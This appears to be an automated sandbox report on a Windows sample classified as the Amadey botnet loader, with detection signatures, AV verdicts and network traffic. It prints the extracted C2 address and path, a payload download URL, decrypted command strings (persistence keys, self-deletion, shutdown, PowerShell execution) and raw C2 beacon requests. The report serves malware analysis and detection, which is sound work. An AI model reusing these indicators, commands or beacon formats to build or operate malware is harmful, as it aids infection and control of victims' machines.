Windows Analysis Report
PUDNz69qBQ.exe

Overview

General Information

Sample name: PUDNz69qBQ.exe
renamed because original name is a hash value
Original sample name: 98adf4fed386b9e3710ba97fd518c8c4.exe
Analysis ID: 1611843
MD5: 98adf4fed386b9e3710ba97fd518c8c4
SHA1: 2e2291464ef0dee1d8eb03618412a3ea708473b1
SHA256: 2f05a02f96b48cdb9b14ecb3442d60a67e3eba5a2939ee74cfa48a5708391c47
Tags: exeuser-abuse_ch
Infos:

Detection

Amadey
Score: 100
Range: 0 - 100
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and execute file
Suricata IDS alerts for network traffic
Yara detected Amadey
Yara detected Amadeys stealer DLL
Yara detected Powershell download and execute
Yara detected obfuscated html page
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates HTA files
Found API chain indicative of sandbox detection
Hides threads from debuggers
Joe Sandbox ML detected suspicious sample
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
Powershell drops PE file
Sample uses string decryption to hide its real strings
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: PowerShell DownloadFile
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Script Execution From Temp Folder
Suspicious powershell command line found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to download and execute files (via powershell)
Tries to evade debugger and weak emulator (self modifying code)
Uses schtasks.exe or at.exe to add and modify task schedules
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for the Microsoft Outlook file path
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=K Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpJZ Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php9.ht Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0V Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phps Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php7 Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpQ Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpx Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpU. Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpA Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php& Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php0 Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe ReversingLabs: Detection: 47%
Multi AV Scanner detection for submitted file
Source: PUDNz69qBQ.exe Virustotal: Detection: 29% Perma Link
Source: PUDNz69qBQ.exe ReversingLabs: Detection: 47%
Joe Sandbox ML detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Joe Sandbox ML: detected
Machine Learning detection for sample
Source: PUDNz69qBQ.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: 185.215.113.43
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: /Zu7JuNko/index.php
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: S-%lu-
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: abc3bc1985
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: skotes.exe
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: Startup
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: cmd /C RMDIR /s/q
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: rundll32
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: Programs
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: %USERPROFILE%
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: cred.dll|clip.dll|
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: cred.dll
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: clip.dll
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: http://
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: https://
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: /quiet
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: /Plugins/
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: &unit=
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: shell32.dll
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: kernel32.dll
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: GetNativeSystemInfo
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: ProgramData\
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: AVAST Software
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: Kaspersky Lab
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: Panda Security
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: Doctor Web
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: 360TotalSecurity
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: Bitdefender
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: Norton
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: Sophos
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: Comodo
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: WinDefender
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: 0123456789
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: ------
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: ?scr=1
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: ComputerName
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: -unicode-
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: VideoID
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: DefaultSettings.XResolution
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: DefaultSettings.YResolution
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: ProductName
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: CurrentBuild
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: rundll32.exe
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: "taskkill /f /im "
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: " && timeout 1 && del
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: && Exit"
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: " && ren
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: Powershell.exe
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: -executionpolicy remotesigned -File "
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: shutdown -s -t 0
Source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp String decryptor: random

Phishing
barindex
Yara detected obfuscated html page
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\iExzqhyV9.hta, type: DROPPED
Uses 32bit PE files
Source: PUDNz69qBQ.exe Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
Source: Binary string: e.pdb- source: powershell.exe, 00000009.00000002.2297512660.000001305D4AB000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006EDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose, 0_2_006EDBBE
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006BC2A2 FindFirstFileExW, 0_2_006BC2A2
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F68EE FindFirstFileW,FindClose, 0_2_006F68EE
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime, 0_2_006F698F
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006ED076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 0_2_006ED076
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006ED3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 0_2_006ED3A9
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 0_2_006F9642
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 0_2_006F979D
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose, 0_2_006F9B2B
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F5C97 FindFirstFileW,FindNextFileW,FindClose, 0_2_006F5C97

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49991 -> 185.215.113.43:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor IPs: 185.215.113.43
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:55:00 GMTContent-Type: application/octet-streamContent-Length: 2161152Last-Modified: Tue, 11 Feb 2025 07:34:15 GMTConnection: keep-aliveETag: "67aafd77-20fa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 49 8f 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 47 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 46 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 58 04 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2b 00 00 b0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 74 72 78 6e 7a 69 6b 00 40 1a 00 00 10 32 00 00 3c 1a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 79 68 7a 66 62 6a 6d 00 10 00 00 00 50 4c 00 00 04 00 00 00 d4 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
